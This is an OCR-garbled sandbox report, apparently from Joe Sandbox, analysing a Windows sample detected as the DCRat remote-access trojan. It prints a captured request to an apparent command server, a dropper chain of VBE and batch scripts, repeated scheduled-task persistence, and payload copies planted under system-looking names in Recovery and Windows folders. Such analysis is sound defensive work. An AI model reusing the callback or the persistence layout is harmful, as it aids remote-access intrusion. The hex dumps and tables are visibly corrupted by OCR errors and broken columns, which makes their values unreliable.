%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-
box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);
min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit
-box-pack:justify;-webkit-justify-content:space-between;-moz-box-pack:justify;-ms-flex-pack:justify;justify-content:space-
between;position:relative}.wrapper .content .left-side{display:table;height

GET /tolowprocessorGeneratortrack.php?rRmbiWWXxEOd55k=WTglsnKuV&e7d5eala013b440ebf41c5b405309b9e=h64e
0d0fcd8b0e37eaad4643c1b6ab3c&94c8169d9b8chbe19972e7f6bf4e65c1=AM5M|jZxQMMhRjMzE2M5KTN2EWOwWC
ZYXYGN3UDMS5YjZwM2YmMRmMN2EDO&RmbiWWxXEOd55k=WTglsnKuV HTTP/1.1

Accept: */*

Content-Type: text/csv

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69
Safari/537.36

Host: a0702220.xsph.ru
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kBytes

Timestam
P transferred

Direction

Aug 6, 2022 1738 IN
00:53:01.648134947
CEST

Statistics

Behavior

Copyright Joe Security LLC 2022

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Fri, 05 Aug 2022 22:53:01 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 64 66 62 65 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20
2020 3c 74 69 74 6¢ 65 3e dO 9e d1 88 d0 b8 dO b1 d0 ba d0O b0 20 34 30 33 30 3c 2f 74 69 74 6¢ 65 3e Oa 20 20 20 20
3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 7
669 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 22 3e Oa 20 20 20 20 3c 73 74
79 6¢ 65 3e Oa 62 6f 64 79 2c 68 31 2¢c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e
74 2d 66 61 6d 69 6¢ 79 3a 41 72 69 61 6¢ 2¢c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6¢ 65 3a 6e 6f
72 6d 61 6¢ 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20
2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6¢ 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78
3b 64 69 73 70 6¢ 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6¢ 65 78 3b 64 69 73 70 6¢ 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b
64 69 73 70 6¢ 61 79 3a 2d 6d 73 2d 66 6¢ 65 78 62 6f 78 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 2d 77 65 62 6b 69
74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65
6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6¢ 65 78
2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72
61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a
3130333270783b 68656967 6874 3a313030253b2d 77 6562 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68
6f 72 69 7a 6f 6e 74 61 6¢ 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6¢ 3b 2d
77 65 62 6b 69 74 2d 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e
74 3a 68 6f 72 69 7a 6f 6e 74 61 6¢ 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6¢ 3b 2d
6d 73 2d 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77
3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63
61 6¢ 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6¢ 63 28 31 30 30 76
68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62
6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e
67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b
2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d
6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 6d 73 2d 66 6¢ 65 78 2d 70 61 63 6b 3a 6a 75 73 74
69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74
69 6f 6e 3a 72 65 6¢ 61 74 69 76 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6¢ 65 66 74 2d 73 69 6
465 7b 64 69 73 70 6¢ 61 79 3a 74 61 62 6¢ 65 3b 68 65 69 67 68 74

Data Ascii: dfbe<!IDOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta
name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family
:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-w
ebkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-
box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px; height:100
%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-
box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);
min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit
-box-pack:justify;-webkit-justify-content:space-between;-moz-box-pack:justify;-ms-flex-pack:justify;justify-content:space-
between;position:relative}.wrapper .content .left-side{display:table;height

@ cDouNOFXle.exe
@ wscript.exe

@ cmd.exe

@ conhost.exe

@ chainsavesref.exe
@ schtasks.exe

@ schtasks.exe

@ schtasks.exe

® schtasks.exe

@ schtasks.exe

@ schtasks.exe

® MrsUvRPGelmAhc.exe
@ schtasks.exe

@ schtasks.exe

@ schtasks.exe

@ schtasks.exe

@ schtasks.exe

@® MrsUvRPGelmAhc.exe
® schtasks.exe

@ schtasks.exe

@ schtasks.exe

@ schtasks.exe

@ schtasks.exe

@ explorer.exe

@ schtasks.exe

@ explorer.exe

@ schtasks.exe

@ schtasks.exe
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o)

schtasks.exe
@ schtasks.exe
@ schtasks.exe
@ schtasks.exe

Click to jump to process

System Behavior

Analysis Process: cDouNOFXle.exe PID: 3632, Parent PID: 5252

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

0

00:52:03

06/08/2022
C:\Users\user\Desktop\cDouNOFXle.exe
true
"C:\Users\user\Desktop\cDouNOFXle.exe"
0x60000

1232540 bytes
54172888B473F2515B13FE1E2032A112
true

true

C, C++ or other language

low

Registry Activities
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Name Type Data

Analysis Process: wscript.exe PID: 5792, Parent PID: 3632

Completion

General

Target ID: 1

Start time: 00:52:05

Start date: 06/08/2022

Path: C:\Windows\SysWOWe64\wscript.exe

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

true

"C:\Windows\System32\WScript.exe" "C:\comproviderRuntimecommon\et1pu6VAIKUOY7GuC90A.vbe"

0x380000

147456 bytes
7075DD7B9BE8807FCA93ACD86F 724884
true

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

Access Attributes Options

Offset Length Value Ascii Completion

Copyright Joe Security LLC 2022

Completion

Count Source Address

Count Source Address

Count Source Address

Symbol

Symbol

Symbol
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File Path Offset Length Completion Count Source Address Symbol
Analysis Process: cmd.exe PID: 5824, Parent PID: 5792

General

Target ID: 4

Start time: 00:52:08

Start date: 06/08/2022

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: C:\Windows\system32\cmd.exe /c ""C:\comproviderRuntimecommon\DLLiIR59GMmL352HHbgfc.bat" "

Imagebase: 0xc20000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Path Access Attributes Options Completion Count Source Address Symbol
File Read

File Path Offset Length Completion Count Source Address Symbol
C:\comproviderRuntimecommon\DLLIR59GMmL352HHbgfc.bat unknown 8191 success or wait 1 C2FB07 ReadFile
C:\comproviderRuntimecommon\DLLIR59GMmL352HHbgfc.bat unknown 8191 end of file 1 C2FB07 ReadFile
C:\comproviderRuntimecommon\DLLIR59GMmL352HHbgfc.bat unknown 8191 end of file 1 C2FB07 ReadFile
C:\comproviderRuntimecommon\DLLIR59GMmL352HHbgfc.bat unknown 8191 end of file 1 C2FB0O7 ReadFile

Analysis Process: conhost.exe PID: 5080, Parent PID: 5824

General

Target ID: 5

Start time: 00:52:08

Start date: 06/08/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):

Commandline:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

Imagebase: 0x7ff7c9170000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator true

privileges:
Programmed in:

Reputation:

C, C++ or other language

high

Analysis Process: chainsavesref.exe PID: 3372, Parent PID: 5824

General

Target ID: 6

Start time: 00:52:08

Start date: 06/08/2022

Path: C:\comproviderRuntimecommon\chainsavesref.exe
Wow64 process (32bit): false

Commandline:

C:\comproviderRuntimecommon\chainsavesref.exe

Copyright Joe Security LLC 2022
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Imagebase: 0x350000

File size: 848384 bytes

MDS5 hash: 4EAF964B744BD6801B5122AE1AFBBDE4
Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Yara matches: .

Antivirus matches: .

Reputation: low

File Activities

File Created
File Path

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Recovery\conhost.exe

C:\Recovery\088424020bedd6

Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source:
00000006.00000002.294012749.0000000002611000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Detection: 100%, Avira
Detection: 100%, Joe Sandbox ML
Detection: 70%, ReversingLabs

Access

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory | read
attributes |
delete | write dac
| synchronize |
generic read |
generic write

read attributes |
synchronize |
generic write

C:\Windows\Web\Screen\MrsUvRPGelmAhc.exe read data or list

directory | read
attributes |
delete | write dac
| synchronize |
generic read |
generic write

C:\Windows\Web\Screen\5f7cc7e87d7637 read attributes |

synchronize |
generic write

C:\Windows\Help\mui\0409\MrsUvRPGelmAhc.exe read data or list

directory | read
attributes |
delete | write dac
| synchronize |
generic read |
generic write

C:\Windows\Help\mui\0409\5f7cc7e87d7637 read attributes |

C:\Recovery\winlogon.exe

C:\Recovery\cc11b995f2a76d

Copyright Joe Security LLC 2022

synchronize |
generic write

read data or list
directory | read
attributes |
delete | write dac
| synchronize |
generic read |
generic write

read attributes |
synchronize |
generic write

Attributes

device

device

device

device

device

device

device

device

device

device

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

sequential only |
non directory file

sequential only |
synchronous io
non alert | non
directory file |
open no recall

sequential only |
synchronous io
non alert | non
directory file

sequential only |
synchronous io
non alert | non
directory file |
open no recall

sequential only |
synchronous io
non alert | non
directory file

sequential only |
synchronous io
non alert | non
directory file |
open no recall

sequential only |
synchronous io
non alert | non
directory file

sequential only |
synchronous io
non alert | non
directory file |
open no recall

Completion

object name collision

object name collision

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1

7FFC60F8F1E9

7FFC60F8F1E9

7TFFC6022817A

7FFC5FB46FDD

7FFC6022817A

7FFC5FB46FDD

7TFFC6022817A

7TFFC5FB46FDD

7TFFC6022817A

7FFC5FB46FDD

Symbol

unknown

unknown

CopyFileW

CreateFileW

CopyFilew

CreateFilew

CopyFilew

CreateFilew

CopyFilew

CreateFilew
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File Path Access

C:\Recovery\explorer.exe read data or list
directory | read
attributes |

delete | write dac
| synchronize |
generic read |
generic write

C:\Recovery\7a0fd90576e088 read attributes |
synchronize |
generic write

C:\comproviderRuntimecommon\RuntimeBroker.exe read data or list
directory | read
attributes |
delete | write dac
| synchronize |
generic read |
generic write

C:\comproviderRuntimecommon\9e8d7a4ca61bd9 read attributes |
synchronize |
generic write

C:\comproviderRuntimecommon\backgroundTaskHost.exe read data or list
directory | read
attributes |
delete | write dac
| synchronize |
generic read |
generic write

C:\comproviderRuntimecommon\eddb19405b7cel read attributes |
synchronize |
generic write

C:\Recovery\ShellExperienceHost.exe read data or list
directory | read
attributes |
delete | write dac
| synchronize |
generic read |
generic write

C:\Recovery\f8¢c8f1285d826b read attributes |
synchronize |
generic write

C:\Users\user\AppData\Local\Mi read attributes |
crosoft\CLR_v4.0\UsageLogs\chainsavesref.exe.log synchronize |
generic write

File Written

File Path Offset Length Value

Copyright Joe Security LLC 2022

Attributes

device

device

device

device

device

device

device

device

device

Ascii

Options

sequential only |
synchronous io
non alert | non
directory file

sequential only |
synchronous io
non alert | non
directory file |
open no recall

sequential only |
synchronous io
non alert | non
directory file

sequential only |
synchronous io
non alert | non
directory file |
open no recall

sequential only |
synchronous io
non alert | non
directory file

sequential only |
synchronous io
non alert | non
directory file |
open no recall

sequential only |
synchronous io
non alert | non
directory file

sequential only |
synchronous io
non alert | non
directory file |
open no recall

synchronous io
non alert | non
directory file

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Completion

Count Source Address Symbol

1 TFFC6022817A CopyFilew
1 7TFFC5FB46FDD CreateFileW
1 TFFC6022817A CopyFilew
1 7FFC5FB46FDD CreateFileW
1 TFFC6022817A CopyFilew
1 7FFC5FB46FDD CreateFileW
1 TFFC6022817A CopyFileWw
1 7TFFC5FB46FDD CreateFileW
1 7FFC613F86ED CreateFileW

Count Source Address Symbol
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File Path

C:\Recovery\conhost.exe

C:\Recovery\088424020bedd6

Copyright Joe Security LLC 2022

Offset

0

0

Length Value

262144 4d 5a fd 00 03 00 00 00

837

04 00 00 00 fd fd 00 00 fd
00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
207072 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24 00
00 00 00 00 00 00 50 45
00 00 4c 01 04 00 fd 61
fd 62 00 00 00 00 00 00
00 00 fd 00 2e 01 Ob 01
06 00 00 fd Oc 00 00 36
00 00 00 00 00 00 7e fd
0Oc 00 00 20 00 00 00 fd
Oc 00 00 00 40 00 00 20
00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00
00 00 00 00 00 00 00 60
0d 00 00 04 00 00 00 00
00 00 02 00 40 fd 00 00
10 00 00 10 00 00 00 00
10 00 00 10 00 00 00 00
00 00 0f 00 00 00 00 00
00 00 00 00 00

64 62 34 54 66 35 61 51
5037 77 54 7a 4d 47 34
64 37 72 4d 56 6f 39 37

64 6a 39 42 6b 51 77 38
46 59 56 6e 58 46 73 31
63 54 58 64 65 63 64 45
516651716749 6579
63 36 7a 36 36 59 71 38
4c 78 4f 61 31 64 67 58

50 7a 75 42 52 67 63 42
47 34 76 45 41 46 62 37
34 67 4c 6151 77 35 44
6d 5a 53 71 4f 43 4d 78

383362 7259 63 68 35
65 78 30 42 6e 6¢ 38 46
57 51 67 56 53 47 47 63
34 71 5a31 4f 76 78 44
73 38 46 47 6f 75 6a 62

38 50 35 63 36 33 5a 41
61 4e 55 37 67 31 65 32
7738777244707273
4177 54 70 67 31 61 6¢C
72 46 57 43 4b 6f 67 41

5259 62 41 62 7a 68 30
64 4e 55 71 37 31 59 53
68 4e 63 4a 6b 75 65 69
77 73 50 62 66 62 72 49
62 76 61 70 4f 71 51 4b

50 64 4d 53 68 74 6e 30
72 44 66 37 4d 58 61 67
33 32 4e 73 6b 47 56 42
67 4d 50 4c 62 73 45

Ascii

MZ@!L!This program
cannot be run in DOS
mode.$PELab.6~ @ '@

db4Tf5aQP7wTzMG4d7r
MV097dj9BkQ
W8FYVnXFslcTXdecdE
QfQqgleyc6z6
6Yq8Lx0OaldgXPzuBRgc
BG4VEAFb74g
LaQw5DmZSqOCMx83br
Ych5ex0BnI8F
WQgVSGGc4qZ10vxDs
8FGoujb8P5c63
ZAaNU7gle2w8wrDprsA
wTpglalrFWC
KogARYbAbzh0dNU(q71
YShNcJkueiws
PbfbribvapOgQKPdMSht
n0rDf7MXag
32NskGVBgMPLbsE

Completion

success or wait

success or wait

Count Source Address

4

1

TFFC6022817A

7FFC5FB4B526

Symbol

CopyFilew

WriteFile
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File Path

C:\Windows\Web\Screen\MrsUvRPG
elmAhc.exe

C:\Windows\Web\Screen\5f7cc7e8
7d7637

Copyright Joe Security LLC 2022

Offset

0

0

Length Value

262144 4d 5afd 00 03 00 00 00

773

04 00 00 00 fd fd 00 00 fd
00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
207072 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24 00
00 00 00 00 00 00 50 45
00 00 4c 01 04 00 fd 61
fd 62 00 00 00 00 00 00
00 00 fd 00 2e 01 Ob 01
06 00 00 fd Oc 00 00 36
00 00 00 00 00 00 7e fd
0Oc 00 00 20 00 00 00 fd
Oc 00 00 00 40 00 00 20
00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00
00 00 00 00 00 00 00 60
0d 00 00 04 00 00 00 00
00 00 02 00 40 fd 00 00
10 00 00 10 00 00 00 00
10 00 00 10 00 00 00 00
00 00 0Of 00 00 00 00 00
00 00 00 00 00

7076 4a 71 57 65 4c 78
33476957 50 41 49 39
47 3133 3854 73 46 5a
79 77 6370 71 49 37 6¢
39 6¢ 57 66 6a 44 57 34
54 46 78 52 4e 36 49 48
6b 37 69 47 6e 54 63 37
7175 31 6b 42 66 48 75
49 37 57 6f 6f 6d 61 43
65 38 6f 4e 34 78 4¢ 32
6f 56 46 74 6b 31 38 71
4a59 79 7a4d 77 33 78
38 43 49 51 6a 65 63 37
68 66 6¢ 6f 6f 4f 43 32 6a
39 35 71 61 58 4b 52 39
7166 50 79 6¢ 30 73 46
31503170 34 54 4b 33
49 4c 4550 54 42 35 57
36 50 4e 31 4d 58 6b 32
31513238 4d4a 3570
33 6a 78 39 4b 4e 6f 70
76 77 52 4d 46 42 71 70
6b 33 31 56 6d 30 32 65
6f 39 78 6f 61 4c 71 39
50 59 57 74 4f 35 4c 74
6¢ 68 46 5a 46 59 78 30
6b 4e 59 54 52 6b 43 43
72 54 56 4c 5a 41 50 6b
47 53 36 71 70 36 62 6f
72 4975 46 76 63 59 50
4d 37 45 4d 77 58 72 70
56 54 43 34 6b 41

Ascii

MZ@!L!This program
cannot be run in DOS
mode.$PELab.6~ @ '@

pvJqWelLx3GiIWPAI9G13  success or wait

8TsFzZywcpql
7I9IWfiDWATFXRN6IHK7i
GnTc7qulk
BfHul7WoomaCe80oN4xL
20VFtk18qJY
yzMw3x8ClQjec7hflooO
C2j95qaxKR
9qfPyl0sF1P1p4TK3ILEP
TB5W6PN1M
Xk21Q28MJI5p3jx9KNop
VWRMFBqpk31
Vm02eo09xoal.q9PYWtO5
LtIhFZFYx0k
NYTRKCCrTVLZAPKGS6
gp6borluFveY
PM7EMwWXrpVTC4kA

Count Source Address

4

1

TFFC6022817A

7FFC5FB4B526

Symbol

CopyFilew

WriteFile
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File Path

C:\Windows\Help\mui\0409\MrsUv
RPGelmAhc.exe

C:\Windows\Help\mui\0409\5f7cc
7e87d7637

C:\Recovery\winlogon.exe

Copyright Joe Security LLC 2022

Offset

0

0

0

Length Value

262144

154

262144

4d 5a fd 00 03 00 00 00
04 00 00 00 fd fd 00 00 fd
00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
207072 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24 00
00 00 00 00 00 00 50 45
00 00 4c 01 04 00 fd 61
fd 62 00 00 00 00 00 00
00 00 fd 00 2e 01 Ob 01
06 00 00 fd Oc 00 00 36
00 00 00 00 00 00 7e fd
0Oc 00 00 20 00 00 00 fd
Oc 00 00 00 40 00 00 20
00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00
00 00 00 00 00 00 00 60
0d 00 00 04 00 00 00 00
00 00 02 00 40 fd 00 00
10 00 00 10 00 00 00 00
10 00 00 10 00 00 00 00
00 00 0Of 00 00 00 00 00
00 00 00 00 00

35 6¢ 43 53 79 62 39 57
30 4f 46 64 48 5a 4f 47
69 56 31 37 33 47 64 67
44 6b 65 64 7a 34 4d 41
50 6d 61 67 6d 58 6d 58
43 6a 4176 39 37 68 71
6376 77 36 70 67 50 7a
49 67 4f 4e 37 66 68 36
43 46 4e 65 38 72 64 4c
73 64 34 55 46 72 67 46
4478 42 45 49 51 56 73
58 6¢ 59 47 49 59 61 68
434574 3474 437376
52 6¢ 4e 4c 6d 34 74 61
39 4a 4b 4a 65 63 79 76
74 65 47 58 53 58 43 54
44 58 53 41 38 6d 56 41
46 51 77 67 44 4a 47 63
3138 47 38 4f 52 43 6a
5138

4d 5a fd 00 03 00 00 00
04 00 00 00 fd fd 00 00 fd
00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe
1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73
2070 72 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f
64 65 2e 0d 0d 0a 24 00
00 00 00 00 00 00 50 45
00 00 4c 01 04 00 fd 61
fd 62 00 00 00 00 00 00
00 00 fd 00 2e 01 Ob 01
06 00 00 fd Oc 00 00 36
00 00 00 00 00 00 7e fd
0Oc 00 00 20 00 00 00 fd
0Oc 00 00 00 40 00 00 20
00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00
00 00 00 00 00 00 00 60
0d 00 00 04 00 00 00 00
00 00 02 00 40 fd 00 00
10 00 00 10 00 00 00 00
10 00 00 10 00 00 00 00
00 00 0f 00 00 00 00 00
00 00 00 00 00

Ascii Completion

MZ@!L!This program success or wait 4 7FFC6022817A
cannot be run in DOS

mode.$PELab.6~ @ '@

5ICSyb9WOOFdHZOGIV
173GdgDkedz4
MAPmagmXmXCjAv97h
qcvwepgPzIgON
7fh6CFNe8rdLsd4UFrgF
DxBEIQVsXI
YGlYahCEt4tCsvRINLmM4
ta9JKJecyv
teGXSXCTDXSA8MVAF
QwgDJGCc18G8ORCjQ8

success or wait 1 7FFC5FB4B526

MZ@!L!This program success or wait 4 TFFC6022817A
cannot be run in DOS

mode.$PELab.6~ @ @

Count Source Address

Symbol

CopyFilew

WriteFile

CopyFilew
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File Path

C:\Recovery\cc11b995f2a76d

C:\Recovery\explorer.exe

Copyright Joe Security LLC 2022

Offset

0

0

Length

374

262144

Value

78 4a 44 4f 71 52 73 6b

59 6f 66 55 52 44 46 77

557375396347 4575
7832 37 4b 42 31 7a 49
67 74 4c 46 4e 79 32 39
50 6a 30 52 7a 49 6d 66
7957 343438633471
45 53 61 78 55 69 6a 67
7957 78 68 32 39 69 67
7a76 743251783570
51 63 56 6f 37 35 4b 45

7a 65 41 35 58 46 6f 72

41 54 64 63 55 45 6e 79
78 59 45 4e 73 42 61 52
57 76 68 32 4d 34 6a 32
4d 73 73 58 38 6d 49 75
47 43 32 36 54 63 55 4c
7a 68 3169 313657 78
45 74 69 6d 68 77 66 46
75 6¢ 51 6d 57 50 7a 4c
50 55 48 70 49 64 37 34
6157447044 41 4251
57 34 54 50 44 67 4d 54
68 77 4d 73 4d 73 79 6a
727054 68 79 71 70 6b
76 6f 4c 4c 7430 43 74

6b 41 50 63 35 6b 48 73
48 79 49 57 5250 72 73
68 64 37 58 72 6562 71
50 74 64 5a 56 42 6a 72
75 64 49 4d 63 57 6f 47

69 6b 5a 41 68 54 54

4d 5a fd 00 03 00 00 00

Ascii

xJDOgRskYofURDFwUs
u9cGEux27KB1
zIgtLFNy29Pj0RzImfyW4
48c4gESax
UijgyWxh29igzvt2Qx5pQ
cVo75KEze
A5XForATdcUEnyxYENs
BaRWvh2M4j2
MssX8mIuGC26TcULzhl
i16WxEtimhw
fFulQmWPZzLPUHplId74a
WDpDABQWATP
DgMThwMsMsyjrpThygp
kvoLLtOCtkA
Pc5kHsHyIWRPrshd7Xre
bgPtdZVBjr
udIMcWoGIikZAhTT

MZ@!L!This program

04 00 00 00 fd fd 00 00 fd cannot be run in DOS

00 00 00 00 00 00 00 40
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 fd 00 00 00 Oe

1f fd Oe 00 fd 09 fd 21 fd
01 4c fd 21 54 68 69 73

207072 6f 67 72 61 6d

20 63 61 6e 6e 6f 74 20

62 65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d 6f

64 65 2e 0d 0d Oa 24 00
00 00 00 00 00 00 50 45
00 00 4c 01 04 00 fd 61

fd 62 00 00 00 00 00 00

00 00 fd 00 2e 01 Ob 01

06 00 00 fd Oc 00 00 36

00 00 00 00 00 00 7e fd

0Oc 00 00 20 00 00 00 fd

0Oc 00 00 00 40 00 00 20
00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00
00 00 00 00 00 00 00 60
0d 00 00 04 00 00 00 00
00 00 02 00 40 fd 00 00

10 00 00 10 00 00 00 00
10 00 00 10 00 00 00 00
00 00 0f 00 00 00 00 00

00 00 00 00 00

mode.$PELab.6~ @ '@

Completion

success or wait

success or wait

Count Source Address

1 7FFC5FB4B526

4 TFFC6022817A

Symbol

WriteFile

CopyFileW
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File Path

C:\Recovery\7a0fd90576e088

C:\comproviderRuntimecommon\Ru
ntimeBroker.exe

Copyright Joe Security LLC 2022

Offset

0

0

Length

814

262144

Value

47 7a 51 79 45 57 35 49
6f 44 5a 4a 4a 31 6b 45
76 4f 64 31 63 75 6f 61
65 75 44 44 30 31 4d 58
3577 73 6d 34 55 50 4d
